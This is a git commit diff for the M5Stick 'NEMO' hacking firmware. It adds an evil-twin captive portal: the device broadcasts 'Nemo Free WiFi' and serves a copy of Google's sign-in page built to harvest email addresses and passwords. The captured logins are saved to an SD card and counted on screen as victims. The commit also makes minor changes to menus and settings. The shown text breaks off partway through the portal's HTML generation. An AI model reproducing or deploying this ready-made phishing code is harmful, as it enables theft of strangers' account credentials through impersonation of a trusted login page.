Add NEMO Portal, a captive wifi portal, with SD Card support
This commit is contained in:
parent
7d43a67797
commit
9d284a3c81
|
@ -11,6 +11,7 @@ NEMO is named after the small, clever and stubborn fish in Finding Nemo. This pr
|
||||||
* [AppleJuice](https://github.com/ECTO-1A/AppleJuice) iOS Bluetooth device pairing spam
|
* [AppleJuice](https://github.com/ECTO-1A/AppleJuice) iOS Bluetooth device pairing spam
|
||||||
* Bluetooth device notification spamming for SwiftPair (Windows) and Android
|
* Bluetooth device notification spamming for SwiftPair (Windows) and Android
|
||||||
* WiFi Spam - Funny SSIDs, WiFi Rickrolling, and a Random mode that creates hundreds of randomly-named SSIDs per minute
|
* WiFi Spam - Funny SSIDs, WiFi Rickrolling, and a Random mode that creates hundreds of randomly-named SSIDs per minute
|
||||||
|
* WiFi NEMO Portal - A captive portal that tries to social engineer email credentials - saves usernames and passwords to SD Card (if inserted into a supported reader)
|
||||||
* WiFi SSID Scanner - Display 2.4 GHz SSIDs nearby and get information about them
|
* WiFi SSID Scanner - Display 2.4 GHz SSIDs nearby and get information about them
|
||||||
* User-adjustable 24 Hour digital clock backed by the M5 Stick RTC so it holds relatively stable time even in deep sleep and low battery mode
|
* User-adjustable 24 Hour digital clock backed by the M5 Stick RTC so it holds relatively stable time even in deep sleep and low battery mode
|
||||||
* EEPROM-backed Settings for rotation, brightness and, automatic dimming
|
* EEPROM-backed Settings for rotation, brightness and, automatic dimming
|
||||||
|
|
174
m5stick-nemo.ino
174
m5stick-nemo.ino
|
@ -8,10 +8,14 @@
|
||||||
//#define CARDPUTER
|
//#define CARDPUTER
|
||||||
// -=-=- Uncommenting more than one at a time will result in errors -=-=-
|
// -=-=- Uncommenting more than one at a time will result in errors -=-=-
|
||||||
|
|
||||||
String buildver="2.1.3";
|
String buildver="2.2.1";
|
||||||
#define BGCOLOR BLACK
|
#define BGCOLOR BLACK
|
||||||
#define FGCOLOR GREEN
|
#define FGCOLOR GREEN
|
||||||
|
|
||||||
|
// -=-=- NEMO Portal Language -=- Thanks, @marivaaldo! -=-=-
|
||||||
|
#define LANGUAGE_EN_US
|
||||||
|
//#define LANGUAGE_PT_BR
|
||||||
|
|
||||||
#if defined(STICK_C_PLUS)
|
#if defined(STICK_C_PLUS)
|
||||||
#include <M5StickCPlus.h>
|
#include <M5StickCPlus.h>
|
||||||
// -=-=- Display -=-=-
|
// -=-=- Display -=-=-
|
||||||
|
@ -27,9 +31,14 @@ String buildver="2.1.3";
|
||||||
#define ACTIVE_LOW_IR
|
#define ACTIVE_LOW_IR
|
||||||
#define ROTATION
|
#define ROTATION
|
||||||
#define USE_EEPROM
|
#define USE_EEPROM
|
||||||
|
//#define SDCARD //Requires a custom-built adapter
|
||||||
// -=-=- ALIASES -=-=-
|
// -=-=- ALIASES -=-=-
|
||||||
#define DISP M5.Lcd
|
#define DISP M5.Lcd
|
||||||
#define IRLED 9
|
#define IRLED 9
|
||||||
|
#define SPEAKER M5.Beep
|
||||||
|
#define SD_CLK_PIN 0
|
||||||
|
#define SD_MISO_PIN 36
|
||||||
|
#define SD_MOSI_PIN 26
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#if defined(STICK_C_PLUS2)
|
#if defined(STICK_C_PLUS2)
|
||||||
|
@ -41,10 +50,11 @@ String buildver="2.1.3";
|
||||||
#define SMALL_TEXT 2
|
#define SMALL_TEXT 2
|
||||||
#define TINY_TEXT 1
|
#define TINY_TEXT 1
|
||||||
// -=-=- FEATURES -=-=-
|
// -=-=- FEATURES -=-=-
|
||||||
// #define RTC //TODO: plus2 has a BM8563 RTC but the class isn't the same, needs work.
|
|
||||||
#define ACTIVE_LOW_IR
|
#define ACTIVE_LOW_IR
|
||||||
#define ROTATION
|
#define ROTATION
|
||||||
//#define USE_EEPROM //TODO: This won't work until RTC is sorted out
|
#define USE_EEPROM
|
||||||
|
//#define RTC //TODO: plus2 has a BM8563 RTC but the class isn't the same, needs work.
|
||||||
|
//#define SDCARD //Requires a custom-built adapter
|
||||||
// -=-=- ALIASES -=-=-
|
// -=-=- ALIASES -=-=-
|
||||||
#define DISP M5.Lcd
|
#define DISP M5.Lcd
|
||||||
#define IRLED 19
|
#define IRLED 19
|
||||||
|
@ -53,6 +63,10 @@ String buildver="2.1.3";
|
||||||
#define M5_BUTTON_RST 39
|
#define M5_BUTTON_RST 39
|
||||||
//TODO: Figure out screen brightness on PLUS2 (if possible at all?) without AXP.
|
//TODO: Figure out screen brightness on PLUS2 (if possible at all?) without AXP.
|
||||||
#define BACKLIGHT 27 // best I can tell from the schematics?
|
#define BACKLIGHT 27 // best I can tell from the schematics?
|
||||||
|
#define SPEAKER M5.Beep
|
||||||
|
#define SD_CLK_PIN 0
|
||||||
|
#define SD_MISO_PIN 36
|
||||||
|
#define SD_MOSI_PIN 26
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#if defined(STICK_C)
|
#if defined(STICK_C)
|
||||||
|
@ -69,9 +83,14 @@ String buildver="2.1.3";
|
||||||
#define AXP
|
#define AXP
|
||||||
#define ROTATION
|
#define ROTATION
|
||||||
#define USE_EEPROM
|
#define USE_EEPROM
|
||||||
|
//#define SDCARD //Requires a custom-built adapter
|
||||||
// -=-=- ALIASES -=-=-
|
// -=-=- ALIASES -=-=-
|
||||||
#define DISP M5.Lcd
|
#define DISP M5.Lcd
|
||||||
#define IRLED 9
|
#define IRLED 9
|
||||||
|
#define SPEAKER M5.Beep
|
||||||
|
#define SD_CLK_PIN 0
|
||||||
|
#define SD_MISO_PIN 36
|
||||||
|
#define SD_MOSI_PIN 26
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#if defined(CARDPUTER)
|
#if defined(CARDPUTER)
|
||||||
|
@ -87,10 +106,16 @@ String buildver="2.1.3";
|
||||||
#define HID
|
#define HID
|
||||||
#define ACTIVE_LOW_IR
|
#define ACTIVE_LOW_IR
|
||||||
#define USE_EEPROM
|
#define USE_EEPROM
|
||||||
|
#define SDCARD
|
||||||
// -=-=- ALIASES -=-=-
|
// -=-=- ALIASES -=-=-
|
||||||
#define DISP M5Cardputer.Display
|
#define DISP M5Cardputer.Display
|
||||||
#define IRLED 44
|
#define IRLED 44
|
||||||
#define BACKLIGHT 38
|
#define BACKLIGHT 38
|
||||||
|
#define SPEAKER M5Cardputer.Speaker
|
||||||
|
#define SD_CLK_PIN 40
|
||||||
|
#define SD_MISO_PIN 39
|
||||||
|
#define SD_MOSI_PIN 14
|
||||||
|
#define SD_CS_PIN 12
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
// -=-=-=-=-=- LIST OF CURRENTLY DEFINED FEATURES -=-=-=-=-=-
|
// -=-=-=-=-=- LIST OF CURRENTLY DEFINED FEATURES -=-=-=-=-=-
|
||||||
|
@ -102,34 +127,8 @@ String buildver="2.1.3";
|
||||||
// USE_EEPROM - Store settings in EEPROM
|
// USE_EEPROM - Store settings in EEPROM
|
||||||
// ROTATION - Allow screen to be rotated
|
// ROTATION - Allow screen to be rotated
|
||||||
// DISP - Set to the API's Display class
|
// DISP - Set to the API's Display class
|
||||||
|
// SDCARD - Device has an SD Card Reader attached
|
||||||
#include <IRremoteESP8266.h>
|
// SPEAKER - Aliased to the prefix used for making noise
|
||||||
#include <IRsend.h>
|
|
||||||
#include "applejuice.h"
|
|
||||||
#include "WORLD_IR_CODES.h"
|
|
||||||
#include "wifispam.h"
|
|
||||||
#include <BLEUtils.h>
|
|
||||||
#include <BLEServer.h>
|
|
||||||
|
|
||||||
int advtime = 0;
|
|
||||||
int cursor = 0;
|
|
||||||
int wifict = 0;
|
|
||||||
int brightness = 100;
|
|
||||||
int ajDelay = 1000;
|
|
||||||
bool rstOverride = false; // Reset Button Override. Set to true when navigating menus.
|
|
||||||
bool sourApple = false; // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
|
|
||||||
bool swiftPair = false; // Internal flag to place AppleJuice into Swift Pair random packet Mode
|
|
||||||
bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode
|
|
||||||
bool maelstrom = false; // Internal flag to place AppleJuice into Bluetooth Maelstrom mode
|
|
||||||
#if defined(USE_EEPROM)
|
|
||||||
#include <EEPROM.h>
|
|
||||||
#define EEPROM_SIZE 4
|
|
||||||
#endif
|
|
||||||
|
|
||||||
struct MENU {
|
|
||||||
char name[19];
|
|
||||||
int command;
|
|
||||||
};
|
|
||||||
|
|
||||||
/// SWITCHER ///
|
/// SWITCHER ///
|
||||||
// Proc codes
|
// Proc codes
|
||||||
|
@ -145,13 +144,49 @@ struct MENU {
|
||||||
// 9 - AppleJuice Advertisement
|
// 9 - AppleJuice Advertisement
|
||||||
// 10 - Credits
|
// 10 - Credits
|
||||||
// 11 - Wifi beacon spam
|
// 11 - Wifi beacon spam
|
||||||
// 12 - Wifi spam menu
|
// 12 - Wifi tools menu
|
||||||
// 13 - TV-B-Gone Region Setting
|
// 13 - TV-B-Gone Region Setting
|
||||||
// 14 - Wifi scanning
|
// 14 - Wifi scanning
|
||||||
// 15 - Wifi scan results
|
// 15 - Wifi scan results
|
||||||
// 16 - Bluetooth Spam Menu
|
// 16 - Bluetooth Spam Menu
|
||||||
// 17 - Bluetooth Maelstrom
|
// 17 - Bluetooth Maelstrom
|
||||||
// 18 - QR Codes
|
// 18 - QR Codes
|
||||||
|
// 19 - NEMO Portal
|
||||||
|
|
||||||
|
#include <IRremoteESP8266.h>
|
||||||
|
#include <IRsend.h>
|
||||||
|
#include <DNSServer.h>
|
||||||
|
#include <WebServer.h>
|
||||||
|
#include "applejuice.h"
|
||||||
|
#include "WORLD_IR_CODES.h"
|
||||||
|
#include "wifispam.h"
|
||||||
|
#include "sd.h"
|
||||||
|
#include "portal.h"
|
||||||
|
#include <BLEUtils.h>
|
||||||
|
#include <BLEServer.h>
|
||||||
|
|
||||||
|
int advtime = 0;
|
||||||
|
int cursor = 0;
|
||||||
|
int wifict = 0;
|
||||||
|
int brightness = 100;
|
||||||
|
int ajDelay = 1000;
|
||||||
|
bool rstOverride = false; // Reset Button Override. Set to true when navigating menus.
|
||||||
|
bool sourApple = false; // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
|
||||||
|
bool swiftPair = false; // Internal flag to place AppleJuice into Swift Pair random packet Mode
|
||||||
|
bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode
|
||||||
|
bool maelstrom = false; // Internal flag to place AppleJuice into Bluetooth Maelstrom mode
|
||||||
|
bool portal_active = false; // Internal flag used to ensure NEMO Portal exits cleanly
|
||||||
|
const byte PortalTickTimer = 1000;
|
||||||
|
|
||||||
|
#if defined(USE_EEPROM)
|
||||||
|
#include <EEPROM.h>
|
||||||
|
#define EEPROM_SIZE 4
|
||||||
|
#endif
|
||||||
|
|
||||||
|
struct MENU {
|
||||||
|
char name[19];
|
||||||
|
int command;
|
||||||
|
};
|
||||||
|
|
||||||
struct QRCODE {
|
struct QRCODE {
|
||||||
char name[19];
|
char name[19];
|
||||||
|
@ -231,6 +266,11 @@ void check_menu_press() {
|
||||||
if (digitalRead(M5_BUTTON_MENU) == LOW){
|
if (digitalRead(M5_BUTTON_MENU) == LOW){
|
||||||
#endif
|
#endif
|
||||||
dimtimer();
|
dimtimer();
|
||||||
|
if(portal_active){
|
||||||
|
// just in case we escape the portal with the main menu button
|
||||||
|
shutdownWebServer();
|
||||||
|
portal_active = false;
|
||||||
|
}
|
||||||
isSwitching = true;
|
isSwitching = true;
|
||||||
rstOverride = false;
|
rstOverride = false;
|
||||||
current_proc = 1;
|
current_proc = 1;
|
||||||
|
@ -338,6 +378,7 @@ void dimtimer(){
|
||||||
}
|
}
|
||||||
|
|
||||||
void screen_dim_proc() {
|
void screen_dim_proc() {
|
||||||
|
if(screen_dim_time > 0){
|
||||||
check_menu_press();
|
check_menu_press();
|
||||||
check_next_press();
|
check_next_press();
|
||||||
check_select_press();
|
check_select_press();
|
||||||
|
@ -348,16 +389,19 @@ void screen_dim_proc() {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/// Dimmer MENU ///
|
/// Dimmer MENU ///
|
||||||
MENU dmenu[] = {
|
MENU dmenu[] = {
|
||||||
{ "Back", screen_dim_time},
|
{ "Back", screen_dim_time},
|
||||||
|
{ "Never", 0},
|
||||||
{ "5 seconds", 5},
|
{ "5 seconds", 5},
|
||||||
{ "10 seconds", 10},
|
{ "10 seconds", 10},
|
||||||
{ "15 seconds", 15},
|
{ "15 seconds", 15},
|
||||||
{ "20 seconds", 20},
|
|
||||||
{ "25 seconds", 25},
|
|
||||||
{ "30 seconds", 30},
|
{ "30 seconds", 30},
|
||||||
|
{ "1 minute", 60},
|
||||||
|
{ "2 minutes", 120},
|
||||||
|
{ "4 minutes", 240},
|
||||||
};
|
};
|
||||||
int dmenu_size = sizeof(dmenu) / sizeof(MENU);
|
int dmenu_size = sizeof(dmenu) / sizeof(MENU);
|
||||||
|
|
||||||
|
@ -366,7 +410,7 @@ void dmenu_setup() {
|
||||||
DISP.setCursor(0, 5, 1);
|
DISP.setCursor(0, 5, 1);
|
||||||
DISP.println("SET AUTO DIM TIME");
|
DISP.println("SET AUTO DIM TIME");
|
||||||
delay(1000);
|
delay(1000);
|
||||||
cursor = (screen_dim_time / 5) - 1;
|
cursor = 0;
|
||||||
rstOverride = true;
|
rstOverride = true;
|
||||||
drawmenu(dmenu, dmenu_size);
|
drawmenu(dmenu, dmenu_size);
|
||||||
delay(500); // Prevent switching after menu loads up
|
delay(500); // Prevent switching after menu loads up
|
||||||
|
@ -1317,11 +1361,12 @@ void btmaelstrom_loop(){
|
||||||
|
|
||||||
/// WIFI MENU ///
|
/// WIFI MENU ///
|
||||||
MENU wsmenu[] = {
|
MENU wsmenu[] = {
|
||||||
{ "Back", 4},
|
{ "Back", 5},
|
||||||
{ "Scan Wifi", 0},
|
{ "Scan Wifi", 0},
|
||||||
{ "Spam Funny", 1},
|
{ "Spam Funny", 1},
|
||||||
{ "Spam Rickroll", 2},
|
{ "Spam Rickroll", 2},
|
||||||
{ "Spam Random", 3},
|
{ "Spam Random", 3},
|
||||||
|
{ "NEMO Portal", 4},
|
||||||
};
|
};
|
||||||
int wsmenu_size = sizeof(wsmenu) / sizeof (MENU);
|
int wsmenu_size = sizeof(wsmenu) / sizeof (MENU);
|
||||||
|
|
||||||
|
@ -1360,6 +1405,9 @@ void wsmenu_loop() {
|
||||||
spamtype = 3;
|
spamtype = 3;
|
||||||
break;
|
break;
|
||||||
case 4:
|
case 4:
|
||||||
|
current_proc = 19;
|
||||||
|
break;
|
||||||
|
case 5:
|
||||||
current_proc = 1;
|
current_proc = 1;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
@ -1546,6 +1594,38 @@ void qrmenu_loop() {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// NEMO PORTAL
|
||||||
|
|
||||||
|
void portal_setup(){
|
||||||
|
setupWiFi();
|
||||||
|
setupWebServer();
|
||||||
|
portal_active = true;
|
||||||
|
cursor = 0;
|
||||||
|
rstOverride = true;
|
||||||
|
printHomeToScreen();
|
||||||
|
delay(500); // Prevent switching after menu loads up
|
||||||
|
}
|
||||||
|
|
||||||
|
void portal_loop(){
|
||||||
|
if ((millis() - lastTick) > PortalTickTimer) {
|
||||||
|
lastTick = millis();
|
||||||
|
if (totalCapturedCredentials != previousTotalCapturedCredentials) {
|
||||||
|
previousTotalCapturedCredentials = totalCapturedCredentials;
|
||||||
|
printHomeToScreen();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
dnsServer.processNextRequest();
|
||||||
|
webServer.handleClient();
|
||||||
|
if (check_next_press()){
|
||||||
|
shutdownWebServer();
|
||||||
|
portal_active = false;
|
||||||
|
rstOverride = false;
|
||||||
|
isSwitching = true;
|
||||||
|
current_proc = 12;
|
||||||
|
delay(500);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/// ENTRY ///
|
/// ENTRY ///
|
||||||
void setup() {
|
void setup() {
|
||||||
#if defined(CARDPUTER)
|
#if defined(CARDPUTER)
|
||||||
|
@ -1557,11 +1637,11 @@ void setup() {
|
||||||
#endif
|
#endif
|
||||||
#if defined(USE_EEPROM)
|
#if defined(USE_EEPROM)
|
||||||
EEPROM.begin(EEPROM_SIZE);
|
EEPROM.begin(EEPROM_SIZE);
|
||||||
Serial.printf("EEPROM 0: %d\n", EEPROM.read(0));
|
Serial.printf("EEPROM 0 - Rotation: %d\n", EEPROM.read(0));
|
||||||
Serial.printf("EEPROM 1: %d\n", EEPROM.read(1));
|
Serial.printf("EEPROM 1 - Dim Time: %d\n", EEPROM.read(1));
|
||||||
Serial.printf("EEPROM 2: %d\n", EEPROM.read(2));
|
Serial.printf("EEPROM 2 - Brightness: %d\n", EEPROM.read(2));
|
||||||
Serial.printf("EEPROM 3: %d\n", EEPROM.read(3));
|
Serial.printf("EEPROM 3 - TVBG Reg: %d\n", EEPROM.read(3));
|
||||||
if(EEPROM.read(0) > 3 || EEPROM.read(1) > 30 || EEPROM.read(2) > 100 || EEPROM.read(3) > 1) {
|
if(EEPROM.read(0) > 3 || EEPROM.read(1) > 240 || EEPROM.read(2) > 100 || EEPROM.read(3) > 1) {
|
||||||
// Assume out-of-bounds settings are a fresh/corrupt EEPROM and write defaults for everything
|
// Assume out-of-bounds settings are a fresh/corrupt EEPROM and write defaults for everything
|
||||||
Serial.println("EEPROM likely not properly configured. Writing defaults.");
|
Serial.println("EEPROM likely not properly configured. Writing defaults.");
|
||||||
#if defined(CARDPUTER)
|
#if defined(CARDPUTER)
|
||||||
|
@ -1606,7 +1686,9 @@ void setup() {
|
||||||
pAdvertising = pServer->getAdvertising();
|
pAdvertising = pServer->getAdvertising();
|
||||||
BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
|
BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
|
||||||
|
|
||||||
// Finish with time to show logo
|
// Nemo Portal Init
|
||||||
|
setupSdCard();
|
||||||
|
bootTime = lastActivity = millis();
|
||||||
}
|
}
|
||||||
|
|
||||||
void loop() {
|
void loop() {
|
||||||
|
@ -1619,6 +1701,7 @@ void loop() {
|
||||||
// Switcher
|
// Switcher
|
||||||
if (isSwitching) {
|
if (isSwitching) {
|
||||||
isSwitching = false;
|
isSwitching = false;
|
||||||
|
Serial.printf("Switching To Task: %d\n", current_proc);
|
||||||
switch (current_proc) {
|
switch (current_proc) {
|
||||||
#if defined(RTC)
|
#if defined(RTC)
|
||||||
case 0:
|
case 0:
|
||||||
|
@ -1685,7 +1768,9 @@ void loop() {
|
||||||
case 18:
|
case 18:
|
||||||
qrmenu_setup();
|
qrmenu_setup();
|
||||||
break;
|
break;
|
||||||
|
case 19:
|
||||||
|
portal_setup();
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1755,5 +1840,8 @@ void loop() {
|
||||||
case 18:
|
case 18:
|
||||||
qrmenu_loop();
|
qrmenu_loop();
|
||||||
break;
|
break;
|
||||||
|
case 19:
|
||||||
|
portal_loop();
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -0,0 +1,198 @@
|
||||||
|
// Borrowed from https://github.com/marivaaldo/evil-portal-m5stack/ which
|
||||||
|
// has iterative iprovements over my own stand-alone M5Stick Evil Portal.
|
||||||
|
// Retaining the Portuguese translations since this project has a large
|
||||||
|
// fan base in Brazil. Shouts to CyberJulio as well.
|
||||||
|
|
||||||
|
#define DEFAULT_AP_SSID_NAME "Nemo Free WiFi"
|
||||||
|
#define SD_CREDS_PATH "/nemo-portal-creds.txt"
|
||||||
|
|
||||||
|
#if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR)
|
||||||
|
#error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined(LANGUAGE_EN_US)
|
||||||
|
#define LOGIN_TITLE "Sign in"
|
||||||
|
#define LOGIN_SUBTITLE "Sign In With Google"
|
||||||
|
#define LOGIN_EMAIL_PLACEHOLDER "Email"
|
||||||
|
#define LOGIN_PASSWORD_PLACEHOLDER "Password"
|
||||||
|
#define LOGIN_MESSAGE "Please log in to browse securely."
|
||||||
|
#define LOGIN_BUTTON "Next"
|
||||||
|
#define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet."
|
||||||
|
#elif defined(LANGUAGE_PT_BR)
|
||||||
|
#define LOGIN_TITLE "Fazer login"
|
||||||
|
#define LOGIN_SUBTITLE "Use sua Conta do Google"
|
||||||
|
#define LOGIN_EMAIL_PLACEHOLDER "E-mail"
|
||||||
|
#define LOGIN_PASSWORD_PLACEHOLDER "Senha"
|
||||||
|
#define LOGIN_MESSAGE "Por favor, faça login para navegar de forma segura."
|
||||||
|
#define LOGIN_BUTTON "Avançar"
|
||||||
|
#define LOGIN_AFTER_MESSAGE "Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet."
|
||||||
|
#endif
|
||||||
|
|
||||||
|
int totalCapturedCredentials = 0;
|
||||||
|
int previousTotalCapturedCredentials = 0;
|
||||||
|
String capturedCredentialsHtml = "";
|
||||||
|
String apSsidName = String(DEFAULT_AP_SSID_NAME);
|
||||||
|
|
||||||
|
// Init System Settings
|
||||||
|
const byte HTTP_CODE = 200;
|
||||||
|
const byte DNS_PORT = 53;
|
||||||
|
IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway
|
||||||
|
unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
|
||||||
|
DNSServer dnsServer;
|
||||||
|
WebServer webServer(80);
|
||||||
|
|
||||||
|
void setupWiFi() {
|
||||||
|
Serial.println("Initializing WiFi");
|
||||||
|
WiFi.mode(WIFI_AP);
|
||||||
|
WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
|
||||||
|
WiFi.softAP(apSsidName);
|
||||||
|
}
|
||||||
|
|
||||||
|
void printHomeToScreen() {
|
||||||
|
DISP.fillScreen(BLACK);
|
||||||
|
DISP.setSwapBytes(true);
|
||||||
|
DISP.setTextSize(2);
|
||||||
|
DISP.setTextColor(TFT_RED, BGCOLOR);
|
||||||
|
DISP.setCursor(0, 10);
|
||||||
|
DISP.print("NEMO PORTAL");
|
||||||
|
DISP.setTextColor(FGCOLOR, BGCOLOR);
|
||||||
|
DISP.setCursor(0, 35);
|
||||||
|
DISP.print("WiFi IP: ");
|
||||||
|
DISP.println(AP_GATEWAY);
|
||||||
|
DISP.printf("SSID: "); //, apSsidName);
|
||||||
|
DISP.print(apSsidName);
|
||||||
|
DISP.println("");
|
||||||
|
DISP.printf("Victim Count: %d\n", totalCapturedCredentials);
|
||||||
|
}
|
||||||
|
|
||||||
|
String getInputValue(String argName) {
|
||||||
|
String a = webServer.arg(argName);
|
||||||
|
a.replace("<", "<");
|
||||||
|
a.replace(">", ">");
|
||||||
|
a.substring(0, 200);
|
||||||
|
return a;
|
||||||
|
}
|
||||||
|
|
||||||
|
String getHtmlContents(String body) {
|
||||||
|
String html =
|
||||||
|
"<!DOCTYPE html>"
|
||||||
|
"<html>"
|
||||||
|
"<head>"
|
||||||
|
" <title>"
|
||||||
|
+ apSsidName + "</title>"
|
||||||
|
" <meta charset='UTF-8'>"
|
||||||
|
" <meta name='viewport' content='width=device-width, initial-scale=1.0'>"
|
||||||
|
" <style>a:hover{ text-decoration: underline;} body{ font-family: Arial, sans-serif; align-items: center; justify-content: center; background-color: #FFFFFF;} input[type='text'], input[type='password']{ width: 100%; padding: 12px 10px; margin: 8px 0; box-sizing: border-box; border: 1px solid #cccccc; border-radius: 4px;} .container{ margin: auto; padding: 20px;} .logo-container{ text-align: center; margin-bottom: 30px; display: flex; justify-content: center; align-items: center;} .logo{ width: 40px; height: 40px; fill: #FFC72C; margin-right: 100px;} .company-name{ font-size: 42px; color: black; margin-left: 0px;} .form-container{ background: #FFFFFF; border: 1px solid #CEC0DE; border-radius: 4px; padding: 20px; box-shadow: 0px 0px 10px 0px rgba(108, 66, 156, 0.2);} h1{ text-align: center; font-size: 28px; font-weight: 500; margin-bottom: 20px;} .input-field{ width: 100%; padding: 12px; border: 1px solid #BEABD3; border-radius: 4px; margin-bottom: 20px; font-size: 14px;} .submit-btn{ background: #1a73e8; color: white; border: none; padding: 12px 20px; border-radius: 4px; font-size: 16px;} .submit-btn:hover{ background: #5B3784;} .containerlogo{ padding-top: 25px;} .containertitle{ color: #202124; font-size: 24px; padding: 15px 0px 10px 0px;} .containersubtitle{ color: #202124; font-size: 16px; padding: 0px 0px 30px 0px;} .containermsg{ padding: 30px 0px 0px 0px; color: #5f6368;} .containerbtn{ padding: 30px 0px 25px 0px;} @media screen and (min-width: 768px){ .logo{ max-width: 80px; max-height: 80px;}} </style>"
|
||||||
|
"</head>"
|
||||||
|
"<body>"
|
||||||
|
" <div class='container'>"
|
||||||
|
" <div class='logo-container'>"
|
||||||
|
" <?xml version='1.0' standalone='no'?>"
|
||||||
|
" <!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 20010904//EN' 'http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd'>"
|
||||||
|
" </div>"
|
||||||
|
" <div class=form-container>"
|
||||||
|
" <center>"
|
||||||
|
" <div class='containerlogo'><svg viewBox='0 0 75 24' width='75' height='24' xmlns='http://www.w3.org/2000/svg' aria-hidden='true' class='BFr46e xduoyf'><g id='qaEJec'><path fill='#ea4335' d='M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z'></path></g><g id='YGlOvc'><path fill='#34a853' d='M58.193.67h2.564v17.44h-2.564z'></path></g><g id='BWfIk'><path fill='#4285f4' d='M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z'></path></g><g id='e6m3fd'><path fill='#fbbc05' d='M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z'></path></g><g id='vbkDmc'><path fill='#ea4335' d='M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z'></path></g><g id='idEJde'><path fill='#4285f4' d='M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z'></path></g></svg></div>"
|
||||||
|
" </center>"
|
||||||
|
" <div style='min-height: 150px'>"
|
||||||
|
+ body + " </div>"
|
||||||
|
" </div>"
|
||||||
|
" </div>"
|
||||||
|
"</body>"
|
||||||
|
"</html>";
|
||||||
|
return html;
|
||||||
|
}
|
||||||
|
|
||||||
|
String creds_GET() {
|
||||||
|
return getHtmlContents("<ol>" + capturedCredentialsHtml + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>");
|
||||||
|
}
|
||||||
|
|
||||||
|
String index_GET() {
|
||||||
|
String loginTitle = String(LOGIN_TITLE);
|
||||||
|
String loginSubTitle = String(LOGIN_SUBTITLE);
|
||||||
|
String loginEmailPlaceholder = String(LOGIN_EMAIL_PLACEHOLDER);
|
||||||
|
String loginPasswordPlaceholder = String(LOGIN_PASSWORD_PLACEHOLDER);
|
||||||
|
String loginMessage = String(LOGIN_MESSAGE);
|
||||||
|
String loginButton = String(LOGIN_BUTTON);
|
||||||
|
|
||||||
|
return getHtmlContents("<center><div class='containertitle'>" + loginTitle + " </div><div class='containersubtitle'>" + loginSubTitle + " </div></center><form action='/post' id='login-form'><input name='email' class='input-field' type='text' placeholder='" + loginEmailPlaceholder + "' required><input name='password' class='input-field' type='password' placeholder='" + loginPasswordPlaceholder + "' required /><div class='containermsg'>" + loginMessage + "</div><div class='containerbtn'><button id=submitbtn class=submit-btn type=submit>" + loginButton + " </button></div></form>");
